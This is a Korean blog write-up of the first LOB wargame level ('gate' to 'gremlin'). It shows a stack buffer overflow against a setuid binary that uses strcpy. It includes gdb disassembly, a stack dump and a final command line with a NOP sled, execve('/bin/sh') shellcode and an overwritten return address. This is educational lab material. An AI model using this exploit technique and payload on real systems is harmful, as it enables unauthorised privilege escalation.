본문 바로가기
wargame/LOB

[포너블] LOB 1 - gate

by 아메리카노와떡볶이 2021. 9. 26.
728x90
LOB 1 - gate write up

LOB 1번 gate 라업입니다.

현재 존재하는 파일들의 리스트와 권한을 확인해보았다.

gremlin.c 파일이 보이고 gremlin 바이너리에 setuid 권한이 설정되어있는것을 확인할 수 있다.

즉 내가 쉘을 따내면 gremlin이 될 수 있는 것.

 

gremlin.c 파일을 열어보자.

[gate@localhost gate]$ vi gremlin.c

 

인자를 입력받아서, strcpy 함수를 통해 버퍼에 저장하고 버퍼를 출력하는 파일이다.

실제로 인자를 줘보면 내가 준 인자를 그대로 출력하는 모습이다.

[gate@localhost gate]$ ./gremlin AAA
AAA

strcpy 함수는 입력값의 길이를 검사하지않는 취약점이 있기때문에 이 취약점을 이용해서 버퍼오버플로우 공격을 수행할 수 있다.

이에 앞서 스택프레임 구조를 파악해야하는데

대략적으로 아래와 같이 예상할 수 있다. 그 외 변수라고 써두었지만, dummy 값을 포함하는 개념이라고 생각하면 된다

한번 디버거로 디스어셈블해보자.

[gate@localhost gate]$ gdb -q gremlin
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x8048430 <main>: push   %ebp
0x8048431 <main+1>: mov    %ebp,%esp
0x8048433 <main+3>: sub    %esp,0x100
0x8048439 <main+9>: cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>: jg     0x8048456 <main+38>
0x804843f <main+15>: push   0x80484e0
0x8048444 <main+20>: call   0x8048350 <printf>
0x8048449 <main+25>: add    %esp,4
0x804844c <main+28>: push   0
0x804844e <main+30>: call   0x8048360 <exit>
0x8048453 <main+35>: add    %esp,4
0x8048456 <main+38>: mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>: add    %eax,4
0x804845c <main+44>: mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>: push   %edx
0x804845f <main+47>: lea    %eax,[%ebp-256]
0x8048465 <main+53>: push   %eax
0x8048466 <main+54>: call   0x8048370 <strcpy>
0x804846b <main+59>: add    %esp,8
0x804846e <main+62>: lea    %eax,[%ebp-256]
0x8048474 <main+68>: push   %eax
0x8048475 <main+69>: push   0x80484ec
0x804847a <main+74>: call   0x8048350 <printf>
0x804847f <main+79>: add    %esp,8
0x8048482 <main+82>: leave  

"""

gdb - q gremlin # gremlin 파일을 디버거로 실행

set disassembly-flavor intel # 인텔 아키텍처 어셈블리어로 출력해주도록 설정한다.

disassemble main # main함수를 디스어셈블 해준다.

"""

즉 다른 변수없이, 버퍼가 256바이트의 메모리를 가지는 것을 확인할 수 있다.

따라서 아래와 같은 형태의 스택프레임이라고 생각할 수 있다.

즉 256바이트의 버퍼와 4바이트의 SFP를 채우면 그 뒤에 주어지는 값이 Return Address에 삽입된다.

256바이트가 쉘코드를 넣기 충분한 공간이기때문에 , 버퍼내에 쉘코드를 삽입하고 Return Address에 쉘코드의 시작주소를 주면 될 것이다.

 

 

내가 예상한 스택프레임의 형태가 맞는지 확인하기 위해, 임의로 버퍼를 오버하는 페이로드를 넣어서 확인해본다.

(gdb) r `python -c 'print "A" * 256 + "B" * 4 + "C" * 4 + "D" * 4'`

예측대로라면 CCCC가 RET ADDRESS에 삽입되어야한다.

권한이 모자라다.

이것을 해결하기위해서 임의로 directory를 만들어서 바이너리를 카피한다.

기존에는 gremlin의 파일 주인이 gremlin 이었지만 파일을 카피해서 gate로 변경되었다.

 

변경된 권한을 통해 다시 한번 시도한 결과

성공적으로 0x43434343이 나오는 것을 확인할 수 있다.

 

즉 지금 위의 페이로드를 넣었을 때 스택프레임은 아래와 같다.

즉 버퍼를 채운 A문자들 안에 적당한 곳에 쉘코드를 삽입해서, CCCC 대신 쉘코드의 시작주소를 주면 된다

gdb를 통해 esp값을 확인해보자.

 

(gdb) x/20x $esp
0xbffffa00: 0x44444444 0xbffffa00 0xbffffa50 0x40013868
0xbffffa10: 0x00000002 0x08048380 0x00000000 0x080483a1
0xbffffa20: 0x08048430 0x00000002 0xbffffa44 0x080482e0
0xbffffa30: 0x080484bc 0x4000ae60 0xbffffa3c 0x40013e90
0xbffffa40: 0x00000002 0xbffffb40 0xbffffb57 0x00000000
(gdb) 
0xbffffa50: 0xbffffc64 0xbffffc77 0xbffffc90 0xbffffcaf
0xbffffa60: 0xbffffcd1 0xbffffcdb 0xbffffe9e 0xbffffebd
0xbffffa70: 0xbffffed7 0xbffffeec 0xbfffff08 0xbfffff13
0xbffffa80: 0xbfffff2d 0xbfffff3a 0xbfffff42 0xbfffff53
0xbffffa90: 0xbfffff5d 0xbfffff6b 0xbfffff7c 0xbfffff8a
(gdb) 
0xbffffaa0: 0xbfffff95 0xbfffffa5 0x00000000 0x00000003
0xbffffab0: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffffac0: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffffad0: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffffae0: 0x08048380 0x0000000b 0x000001f4 0x0000000c
(gdb) 
0xbffffaf0: 0x000001f4 0x0000000d 0x000001f4 0x0000000e
0xbffffb00: 0x000001f4 0x00000010 0x0f8bfbff 0x0000000f
0xbffffb10: 0xbffffb3b 0x00000000 0x00000000 0x00000000
0xbffffb20: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb30: 0x00000000 0x00000000 0x69000000 0x00363836
(gdb) 
0xbffffb40: 0x6d6f682f 0x61672f65 0x542f6574 0x672f504d
0xbffffb50: 0x6c6d6572 0x41006e69 0x41414141 0x41414141
0xbffffb60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb70: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb80: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) 
0xbffffb90: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffba0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbb0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbd0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) 
0xbffffbe0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffbf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc20: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) 
0xbffffc30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffc50: 0x41414141 0x42414141 0x43424242 0x44434343
0xbffffc60: 0x00444444 0x3d445750 0x6d6f682f 0x61672f65
0xbffffc70: 0x542f6574 0x5200504d 0x544f4d45 0x534f4845

0xbffffc50 주소에서 segmentation fault가 발생한 것.

여기서 공격 성공 확률을 높이기 위해 nop-sled를 이용할 것 이므로 0x41로 채워져 있는 적당한 주소를 골라주면 된다.

 

나는 0xbffffb60 로 하겠다. 

따라서 236 바이트의 nop-sled와 24바이트의 쉘코드로 버퍼와 sfp를 채워주고 (260바이트)

ret address에 리틀엔디언으로 0xbffffb60을 넣어주면 공격 페이로드 완성

./gremlin `python -c 'print "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x60\xfb\xff\xbf"'`

쉘코드는 아래블로그를 참고했습니다.

https://m.blog.naver.com/mathboy7/220215329450

 

쉘코드 모음

포너블 문제 풀때 여러모로 유용하게 사용되는 쉘코드들을 작성해서 모아봤습니다. 찾기 편하시라고.... 블...

blog.naver.com

 

 

clear

728x90

'wargame > LOB' 카테고리의 다른 글

[포너블] LOB 6 - wolfman  (0) 2021.09.30
[포너블] LOB 5 - orc  (0) 2021.09.30
[포너블] LOB 4 - goblin  (0) 2021.09.30
[포너블] LOB 3 - cobolt  (0) 2021.09.26
[포너블] LOB 2 - gremlin  (0) 2021.09.26

댓글